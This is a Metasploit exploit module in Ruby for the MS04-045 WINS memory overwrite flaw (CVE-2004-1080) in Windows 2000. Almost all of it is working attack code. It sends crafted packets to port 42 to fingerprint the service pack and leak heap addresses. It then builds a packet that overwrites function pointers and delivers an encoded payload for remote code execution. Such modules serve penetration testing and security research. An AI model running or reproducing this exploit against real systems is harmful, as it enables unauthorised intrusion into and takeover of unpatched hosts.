##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS04-045 Microsoft WINS Service Memory Overwrite',
        'Description' => %q{
          This module exploits an arbitrary memory write flaw in the
          WINS service. This exploit has been tested against Windows
          2000 only.
        },
        'Author' => [ 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2004-1080'],
          [ 'OSVDB', '12378'],
          [ 'BID', '11763'],
          [ 'MSB', 'MS04-045'],

        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'process'
        },
        'Payload' => {
          'Space' => 8000,
          'MinNops' => 512,
          'StackAdjustment' => -3500

        },
        'Targets' => [
          [
            'Windows 2000 English', # Tested OK - 11/25/2005 hdm
            {
              'Platform' => 'win',
              'Rets' => [ 0x5391f40, 0x53df4c4, 0x53922e0]
            },
          ],
        ],
        'DisclosureDate' => '2004-12-14',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(42)
      ]
    )
  end

  def check
    ret = fprint

    info = 'This system is running '
    info << ((ret[1] == '?') ? 'an unknown windows version ' : "Windows #{ret[1]} ")
    info << ((ret[2] == '?') ? '' : "with service pack #{ret[2]} ")
    info << (ret[3] ? '(clean heap)' : '(dirty heap)')

    print_status(info)
    return ret[0]
  end

  def exploit
    ret = fprint

    if (ret[0] != Exploit::CheckCode::Vulnerable)
      print_status('This system does not appear to be vulnerable')
      return
    end

    # Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the
    # same function pointer...
    if (ret[1] != '2000' or ret[2] !~ /^[0234]/)
      print_status('This target is not currently supported')
      return
    end

    # This flag is un-set if the first leaked address is not the default of
    # 0x05371e90. This can indicate that someone has already tried to exploit
    # this system, or something major happened to the heap that will probably
    # prevent this exploit from working.
    if (!(ret[3]))
      print_warning('Warning: the leaked heap address indicates that this attack may fail')
    end

    # The base address of our structure in memory
    base = target['Rets'][0]

    # Address of the function pointers to overwrite (courtesy anonymous donor)
    targ = target['Rets'][1]

    # Address of the payload on the heap, past the structure
    code = target['Rets'][2]

    # Build up the wins packet
    addr = ''
    addr << ([code].pack('V') * 9)
    addr << ([targ - 0x48].pack('V') * 14)

    wins = addr * 10
    wins << payload.encoded
    wins << rand_text_english(9200 - wins.length, payload_badchars)

    wpkt = [wins.length + 8, -1, base].pack('NNN')
    wpkt << wins

    print_status(sprintf('Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)', targ, code, base))

    # Connect and send the request
    connect
    sock.put(wpkt)
    handler
    disconnect
  end

  # This fingerprinting routine will cause the structure base address to slide down
  # 120 bytes. Subsequent fingerprints will not push this down any futher, however
  # we need to make sure that fingerprint is always called before exploitation or
  # the alignment will be way off.
  def fprint
    ret = [Exploit::CheckCode::Safe, '', '', '']

    req = "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00" +
          "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05" +
          "\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03" +
          "\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00"

    connect
    sock.put(req)
    data = sock.get_once
    return ret if !data

    ptrs = [ data[16, 4].unpack('N')[0] ].concat(data[32, 12].unpack('VVV'))

    print_status(sprintf('WINS Fingerprint: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x', *ptrs))

    os = '2000'
    sp = '?'
    vi = false

    # Check for Windows 2000 systems
    case ptrs[3]
    when 0x77f8ae78
      sp = '0'
    when 0x77f81f70
      sp = '1'
    when 0x77f82680
      sp = '2'
    when 0x77f83608
      sp = '3'
    when 0x77f89640
      sp = '4'
    when 0x77f82518
      sp = '5'
    when 0x77f81648 # Contributed by grutz[at]jingojango.net
      sp = '3/4'
    end

    # Reset the OS string if no match was found
    os = '?' if sp == '?'

    # Check for Windows NT 4.0 systems
    if (ptrs[0] > 0x02300000 and ptrs[0] < 0x02400000)
      os = 'NT'
      sp = '?'
    end

    # Heap is still pristine...
    vi = true if ptrs[0] == 0x05371e90

    # Determine if the patch has already been applied
    req = "\x00\x00\x00\x0F\x00\x00\x78\x00" + data[16, 4] +
          "\x00\x00\x00\x03\x00\x00\x00\x00"

    sock.put(req)
    data = sock.get_once
    disconnect

    ret[1] = os
    ret[2] = sp
    ret[3] = vi

    if (data and data[6, 1] == "\x78")
      ret[0] = Exploit::CheckCode::Vulnerable
    end

    return ret
  end
end
